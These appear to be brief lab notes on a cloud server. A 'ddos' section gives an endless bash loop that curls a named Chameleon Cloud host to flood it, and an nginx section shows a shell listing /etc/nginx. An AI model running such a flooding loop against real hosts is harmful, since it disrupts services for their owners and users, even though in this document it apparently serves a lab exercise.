ddos:

did an infinite while loop to curl the website:

while true; do
curl -L https://chi-dyn-192-5-87-185.uc.chameleoncloud.org/
done

nginx:

 
non-root@arjun-und-net:~$ which nginx
/usr/sbin/nginx
non-root@arjun-und-net:~$ cd /etc/nginx/
non-root@arjun-und-net:/etc/nginx$ ls
conf.d        fastcgi_params  koi-win     modules-available  nginx.conf    scgi_params      sites-enabled  uwsgi_params
fastcgi.conf  koi-utf         mime.types  modules-enabled    proxy_params  sites-available  snippets       win-utf
non-root@arjun-und-net:/etc/nginx$